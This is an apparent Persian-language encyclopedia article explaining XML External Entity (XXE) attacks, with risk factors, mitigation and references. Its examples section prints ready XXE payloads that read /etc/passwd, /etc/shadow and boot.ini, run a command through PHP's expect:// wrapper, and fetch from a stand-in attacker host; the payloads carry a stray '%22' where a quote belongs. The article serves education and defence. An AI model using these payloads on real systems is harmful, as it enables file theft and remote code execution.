حمله **XML External Entity** نوعی حمله به برنامه ای است که ورودی اکس‌ام‌ال را تشکیل می‌دهد. این حمله زمانی رخ می‌دهد که ورودی XML که حاوی مرجعی برای یک موجودیت خارجی است توسط یک تجزیه‌گر XML پیکربندی ضعیف پردازش می‌شود. این حمله ممکن است منجر به افشای اطلاعات محرمانه، انکار سرویس، جعل درخواست سمت سرور، اسکن پورت از دید دستگاهی که تجزیه کننده در آن قرار دارد و سایر تأثیرات سیستم شود.

شرح
---

استاندارد XML 1.0 ساختار یک سند XML را تعریف می‌کند. استاندارد مفهومی را به نام موجودیت تعریف می‌کند که از نوع خاصی واحد ذخیره‌سازی است. چند نوع موجودیت مختلف وجود دارد، موجودیت عمومی / پارامتر خارجی تجزیه شده که اغلب به موجودیت خارجی کوتاه می‌شود، که می‌تواند از طریق شناسه سیستم اعلام شده به محتوای محلی یا از راه دور دسترسی پیدا کند. فرض می‌شود شناسه سیستم یک URI باشد که هنگام پردازش موجودیت، پردازنده XML می‌تواند از آن مراجعه کند (به آن دسترسی پیدا کند). پردازنده XML سپس وقایع موجودیت خارجی نامگذاری شده را با محتوایی که توسط شناسه سیستم ارجاع داده نشده‌است جایگزین می‌کند. اگر شناسه سیستم حاوی داده‌های آلوده باشد و پردازنده XML این داده‌های آلوده را ارجاع دهد، پردازنده XML ممکن است اطلاعات محرمانه ای را که معمولاً توسط برنامه قابل دسترسی نیست، افشا کند. بردارهای حمله مشابه استفاده از DTD های خارجی، ورق‌های سبک خارجی، طرحواره‌های خارجی و غیره را اعمال می‌کنند که اگر شامل شوند، حملات مشابهی را در سبک درج منابع خارجی اعمال می‌کنند.

این حملات می‌تواند شامل افشای پرونده‌های محلی باشد، که ممکن است حاوی داده‌های حساس مانند رمزهای عبور یا داده‌های کاربر خصوصی باشد، با استفاده از پرونده: طرح ها یا مسیرهای نسبی در شناسه سیستم. از آنجا که حمله نسبت به برنامه پردازش سند XML اتفاق می افتد ، مهاجم ممکن است از این برنامه معتبر برای ایجاد ارتباط با سایر سیستم های داخلی استفاده کند ، احتمالاً محتوای داخلی دیگر را از طریق درخواست های http یا افشا می کند یا حمله CSRF را به سرویس‌های داخلی محافظت نشده انجام می‌دهد. در برخی شرایط، یک کتابخانه پردازنده XML که در برابر مشکلات خرابی حافظه سمت مشتری آسیب‌پذیر است، ممکن است با ارجاع مجدد یک URI مخرب مورد سوءاستفاده قرار گیرد، احتمالاً اجرای کد دلخواه در حساب برنامه امکان‌پذیر است. حملات دیگر می‌توانند به منابع محلی دسترسی پیدا کنند که ممکن است بازگشت داده‌ها را متوقف نکند، در صورت آزاد نشدن بسیاری از رشته‌ها یا پردازش‌ها، احتمالاً بر در دسترس بودن برنامه تأثیر می‌گذارد.

توجه داشته باشید که این برنامه برای آسیب‌پذیر بودن در برابر افشای اطلاعات نیازی به ارسال صریح پاسخ به مهاجم ندارد. یک مهاجم می‌تواند از اطلاعات DNS استفاده کند تا اطلاعات را از طریق نام‌های زیر دامنه به سرور DNS تحت کنترل خود منتقل کند.

عوامل خطر
---------

* برنامه اسناد XML را تجزیه می‌کند.
* داده‌های آلوده در بخش شناسه سیستم موجودیت، در تعریف نوع سند (DTD) مجاز است.
* پردازنده XML برای تأیید و پردازش DTD پیکربندی شده‌است.
* پردازنده XML برای حل و فصل موجودیت‌های خارجی در DTD پیکربندی شده‌است.

مثال‌ها
-------

مثالهای زیر مربوط به *Testing for XML Injection (OWASP-DV-008) است*.

### دسترسی به یک منبع محلی که ممکن است برنگردد

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "file:///dev/random%22>]><foo>&xxe;</foo>

```

### اجرای کد از راه دور

هنگامی که ماژول "انتظار" PHP بارگیری می‌شود، اجرای کد از راه دور با یک بار مجاز اصلاح شده امکان‌پذیر است.

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "expect://id%22>]>
 <creds>
 <user>&xxe;</user>
 <pass>mypass</pass>
 </creds>

```

### افشای / etc / passwd یا سایر پرونده‌های هدفمند

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "file:///etc/passwd%22>]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "file:///etc/shadow%22>]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "file:///c:/boot.ini%22>]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt%22>]><foo>&xxe;</foo>

```

کاهش ریسک
---------

از آنجا که کل سند XML از یک مشتری غیرقابل اعتماد ابلاغ می‌شود، معمولاً تأیید انتخابی یا فرار از داده‌های آلوده در شناسه سیستم در DTD امکان‌پذیر نیست؛ بنابراین، پردازنده XML باید به گونه ای پیکربندی شود که از DTD استاتیک محلی استفاده کند و هر DTD اعلام شده‌ای را که در سند XML وجود دارد، مجاز نباشد.

جستارهای وابسته
---------------

* تزریق اس‌کیوال
* تزریق SQL کور

منابع
-----

1. ↑  "What Are XML External Entity (XXE) Attacks". *Acunetix*.
2. ↑

پیوند به بیرون
--------------

* صفحه تقلب پیشگیری OWASP XML نهاد خارجی (XXE)
* مقاله Timothy Morgan 2014: XML Schema, DTD, and Entity Attacks - خلاصه ای از تکنیک‌های شناخته شده
* ارائه مقدمه مقاله فوق - در OWASP AppSec USA 2013
* CWE-611: قرار گرفتن در معرض اطلاعات از طریق مرجع موجودیت خارجی XML
* CWE-827: کنترل نامناسب تعریف نوع سند
* سخنرانی Sascha Herzog در مورد حملات نهادهای خارجی XML - در OWASP AppSec آلمان ۲۰۱۰
* آسیب‌پذیری PostgreSQL XXE
* آسیب‌پذیری‌های SharePoint و DotNetNuke XXE ، به زبان فرانسه
* XML حمله و دفاع در مورد انکار خدمات (در. خالص)
* مقاله اولیه (2002) BugTraq در XXE
* XML 1.0 Language Marking Extensible (XML) 1.0 (نسخه پنجم)